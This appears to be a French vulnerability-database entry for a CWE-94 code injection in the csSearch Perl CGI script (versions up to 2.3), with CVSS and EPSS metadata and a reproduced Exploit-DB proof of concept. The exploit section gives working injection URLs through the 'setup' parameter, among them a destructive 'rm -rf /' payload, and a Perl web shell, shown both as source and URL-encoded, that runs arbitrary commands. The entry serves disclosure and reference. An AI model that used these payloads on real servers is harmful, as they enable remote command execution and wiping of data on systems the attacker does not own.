Faiblesses connexes
CWE-ID |
Nom de la faiblesse |
Source |
CWE-94 |
Improper Control of Generation of Code ('Code Injection') The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. |
|
Métriques
Métriques |
Score |
Gravité |
CVSS Vecteur |
Source |
V2 |
10 |
|
AV:N/AC:L/Au:N/C:C/I:C/A:C |
[email protected] |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 21354
Date de publication : 2002-03-25 23h00 +00:00
Auteur : Steve Gustin
EDB Vérifié : Yes
source: https://www.securityfocus.com/bid/4368/info
csSearch is a website search script, written in Perl. It will run on most Unix and Linux variants, as well as Microsoft operating systems.
csSearch is prone to an issue which may enable an attacker to execute Perl code with the privileges of the webserver process.
For exploitation to be successful, the attacker must pass properly URL encoded Perl code in CGI parameters via a web request. For example:
http://host/cgi-bin/csSearch.cgi?command=savesetup&setup=PERL_CODE_HERE
Configuration data is saved with the following URL.
Note that any perl code would need to be URL encoded.
csSearch.cgi?command=savesetup&setup=PERL_CODE_HERE
For example, the classic "rm -rf /" example would be
as follows:
csSearch.cgi?command=savesetup&setup=`rm%20-rf%20/`
Here's something a little more interesting, less than
300 bytes of code that turns csSearch into a remote
web shell of sorts.
*ShowSearchForm = *Login = sub {
print "<form method=post action=csSearch.cgi>Enter
Command (eg: ls -l)<br>";
print "<input type=text name=cmd size=99> ";
print "<input type=submit value=Execute><hr><xmp>";
$in{'cmd'} && print `$in{'cmd'} 2>&1`;
exit;
};
URL Encoded as:
csSearch.cgi?command=savesetup&setup=*ShowSearchForm%3D*Login%3Dsub{print"<form+method%3Dpost+action%3DcsSearch.cgi>Enter+Comm
and+(example:+ls+-l)<br><input+type%3Dtext+name%3Dcmd+size%3D99>+<input+type%3Dsubmit+value%3DExecute><hr><xmp>";$in{'cmd'}%26
%26print`$in{'cmd'}+2>%261`;exit;};
Products Mentioned
Configuraton 0
Cgiscript>>Cssearch_professional >> Version To (including) 2.3
Références